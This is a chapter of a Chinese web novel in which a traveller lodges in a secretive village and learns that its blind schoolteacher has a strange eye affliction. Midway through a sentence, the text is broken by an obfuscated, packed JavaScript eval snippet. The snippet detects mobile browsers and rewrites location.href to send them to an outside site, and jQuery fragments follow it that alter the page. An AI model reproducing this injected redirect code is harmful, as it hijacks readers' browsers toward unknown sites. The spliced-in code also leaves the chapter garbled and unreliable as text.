17. 夫子
作品:《精怪八点档》 原来这个村子很少有人从这条道来,一般其他人想要过路,都会走另一条道,另一条道虽然路途更远,但是比这边好走,人烟也较这边多,也有行商捕猎人修建的可供歇息的木屋,还有人摆茶摊。
难怪是谢裴绶这几日都没在路边瞧见可供避雨的地方,宽敞的路上也是杂草丛生。
进了村口,村民们见到谢裴绶一个陌生人眼神都很是警惕,直到孩子们七嘴八舌的说起来刚才路边讲故事的事情才变得稍微友善些。
一个壮汉便带他去找了村长奶奶。
村长奶奶是个和善人,听说有人要夜宿,立马便答应,就连谢裴绶说要先拜会一下村中的土地,也没什么犹豫的答应了。
这个村子是个小村子,他们供奉土地的庙和祠堂是建在一处的,本来按规矩来说这样是有些不恭敬,但是显然这个村子的人都比较开明。
“当初祖宗们都是逃难来的,兴建的时候啊,各家各户都是吃了这一顿没有下一顿。”村长奶奶姓王,她听说谢裴绶要先拜土地,便领了他来了。
王村长站在庙门前说:“当时的村长就提议干脆便建到一处,说我们供奉的乃是心意,那些表面功夫都不重要,若是真重视,往后我们再加盖,盖的更豪华,贡品摆的更珍贵就是了,何必执着于虚礼。”
于是就建了一座屋子分两间房,正房供奉土地神,偏房便用来放各家祖宗牌位。经过这些年大家伙的努力,这座屋子已经扩建成了三间房,呈合围之势,虽然算不上正经的四合院,但也成了村子里最好的院子。
谢裴绶跟着王村长进了大门,迎面便见院中间聚了一池水,水呈盈盈绿色,有粉色的花苞自水中抽芽而起。
正是四方财如天上水,源源不断,聚禄归堂。
大门正前方就是土地神居住的房间,左边祠堂屋门是关着的,只两边有小门敞着可供出入,倒是右边房子一眼望去却是窗户大敞,屋内整齐摆放着些矮桌,矮桌前头另放有一张大些的案几,案几上还有一支戒尺。
看着像是私塾呢。
王村长注意到他的视线,笑着说:“那屋子是我们村里夫子办的私塾,也没别的空屋了,便拿这间屋子充数,也是问过土地,告过祖宗了。”
“原来如此。”谢裴绶虽初出茅庐,但也是知晓,现今瑜国虽然算得上是政通人和,偏僻村子中能办得起私塾的却也是少有。
更别说建得起这样一座屋子了。
王村长看了看天色,抬手握住了谢裴绶的手腕,慈眉善目的说道:“哎呀后生,这天色不知不觉已然这样晚了,还是快些来拜会土地,早些歇息吧。”
她的力气有些大了,似乎是年纪上来了,没法很好控制自己,手臂也不由得微微发起颤,虽看着精神奕奕,但也确实不年轻了。
谢裴绶顺从的跟着她走,间或低头顺手扶一扶,她给他递上了三支香,他拿了恭敬的拜了三拜,插上香炉。
香炉上的香眼见着就迅速燃没了。
今晚,谢裴绶夜宿在王村长的家中,照例支付夜宿费。
她家中有两间房和一间堂屋,王村长住一间,儿子儿媳都在城里作工不常回来,另一间原本是孙子王大铁住,今日让给了谢裴绶睡。
其实柴房也能睡,只是王大铁说不好叫客人睡柴房,于是拢了干草铺在堂屋地上,自顾自就合衣睡了。
谢裴绶想着应是村长年迈,到底是不放心家中睡着一个陌生人,于是也就安然进屋睡觉。
第二日,天微微亮,村子里的大家醒来吃完早食便都开始下地干活了,谢裴绶闲来无事,也不想马上就启程赶路。
这几日骡子也实在累了,他也想至少休息会儿再说其他,于是,谢裴绶便慢悠悠的出门找了一处大树底下坐看云卷云舒。
这两日天气晴好,村里人看起来面色也不错,对于突然到来的外乡人大家都多少有些好奇,只是早上他们都要干活,便最多就只看上两眼。
但孩子们就不会管那么多了,他们见谢裴绶坐在这里,便时不时都装模做样的假装路过瞅他一眼,今天他们不像昨天那么活泼,一副想亲近又不敢说话的样子。
一共五个孩子就站在离谢裴绶有段距离的地方看着他,昨天那个领头男童并不在其中,孩子们不时面面相觑的推搡着,似乎想要选个代表人来打头阵。
最终,一个叫二丫的最小的孩子被推了出来,她唯唯诺诺的搅着手指头,抬头望着他的眼神充满希冀:“谢哥哥,你是神仙吗?昨天,昨天我们回来,那个故事我们都讲不出来了,所以所以谢哥哥是神仙吗?”
此时天朗气清,谢裴绶墨发半挽垂于腰间,眉目清浅如画,面若秋水柔和,神情和煦靠坐在树下,一身水色长衫被旭日一照,恍若发光,确似神仙公子般难得一见。
“可惜,我不是神仙。”谢裴绶抬手将二丫拉近了些,自然而然的将她攥起的衣角梳理平整:“还记得你们昨日答应过什么吗?那故事啊是只讲给你们听的,所以你们自然不能再讲给另外的人听了,这会违背你们昨日答应我的约定。”
他看着二丫的眼睛,微微一笑:“约定,是不能违背的。”
近距离接触下来,二丫只觉得他比预想中更加的温柔,透亮的眼珠忍不住就落下泪水,不由自主的就想起了近些时候大家都在烦恼的事情。
在二丫短短六年的时光里,见过的人穿着的大都是粗布麻衣,稍微好些的就是村长奶奶和夫子穿的。
大家的脸都是黄黄的黑黑的,白白的脸她只在夫子家里的一张神仙画上见过,画里的神仙穿着五颜六色的衣服,那些衣服飘逸如风,在阳光下会发出闪闪金光,他们还会腾云驾雾,可以在天上自由自在的飞翔。
夫子也说过,有些神仙下凡之后不会轻易腾云驾雾,他们会有自己的坐骑,像是青牛、大马、驴这些,虽然她没有见过马。
夫子还说,神仙会有些不一样的力量,就像土地神,他会庇佑我们村子一帆风顺,年年都有饭吃!
虽然谢哥哥说他不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15556698|171306||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是神仙,但是二丫就是情不自禁的就对他有了一丝憧憬和期待,她就像找到了依赖一般开口求助:“神仙哥哥能不能帮帮夫子,夫子的眼睛……”
可还没等二丫说完,后头一直在观望的四个孩子就脸色大变,极为慌张的冲出来:“你干什么!这事不能随便跟别人说的!你忘记了!”
他们一边小声训斥,一边迅速拉拽着二丫跑了。
二丫一边被拖着跑一边回头看,她太小了,挣扎不动,只能眼泪汪汪的看着阳光笼罩下的神仙离自己越来越远。
谢裴绶微微侧头看这帮小孩一溜烟的就没影了,有些头疼:“我可不是什么神仙哥哥啊……”
不过,他想起来昨日村中大人们明显警惕的眼神,和现在田里那些一边干农活一边盯梢他的无数双眼睛:“看来这个村子有秘密。”
会是什么秘密呢?
正好微风拂过,树上随风飘零的绿叶正好落到了他抬起的眼帘上,他顺势闭上眼睛,往后一靠,喃喃自语:“所谓春困秋乏夏盹冬眠,实乃人之常情,今日天公作美,先睡一觉才不辜负……”
此时,王村长正端着一碗饭来到了一间房屋门前,她轻轻敲了敲门,等了三息,里头传来一道女声:“进。”
王村长推开木门跨步进去,又小心翼翼的将门关紧。
这间屋子很奇怪,明明看上去有两个窗户,却都用木条封死了,看起来似是为了防止房里的人出逃,但正门却又完全没有上锁。
今日外头明明风和日丽,但因着这间屋子不透光,也没点灯,全然一片昏暗。
透着那一点点微弱的光,甚至能看清楚光线中浮沉的细碎尘埃。
王村长眯着眼睛环视一圈,侧面桌前跪坐着一个人。
她披头散发,却并不凌乱邋遢,目不能视,却神情坚毅,虽双目紧闭,手下却能字字分明、大小匀称,她独自坐在屋中,却仍镇定自若、体态轩昂。
“怎么又在写字?”王村长见她在写字,眉头紧皱。
她将饭食放在屋中饭桌上,上前拿过女子手上墨笔,小心翼翼的搀扶着手臂,将其引到饭卓前坐下:“你整日练字,觉也不好好睡,饭也不好好吃,这怎么行?”
女子侧头听她说话,手上摸索着寻到筷子,闻言只得笑着说:“晚上实在睡不着,好歹我写写字,打发着时间,等您来看我呢!”
“还等我来看你,我一个老婆子有什么好等的,你呀,还得早些把这眼疾治好了才是正经事,这些日子,孩子们都缠着我问你什么时候好呢,我的夫子啊!”王村长坐在一旁语气中满是哀愁与苦闷:“你这病又不能随随便便叫人知道,我该如何找人来救你呀?”
室内一片晦暗,女人睫毛微微颤动……
她缓缓睁开眼睛,她的两只眼球上盖着一层又一层白色透明的膜,有点点粘稠的水液似乎在缓缓慢慢的渗出,这些粘液粘连在眼帘上拉出一丝丝晶亮的线……
“有妖精住在眼睛里,我怕是不能好了……”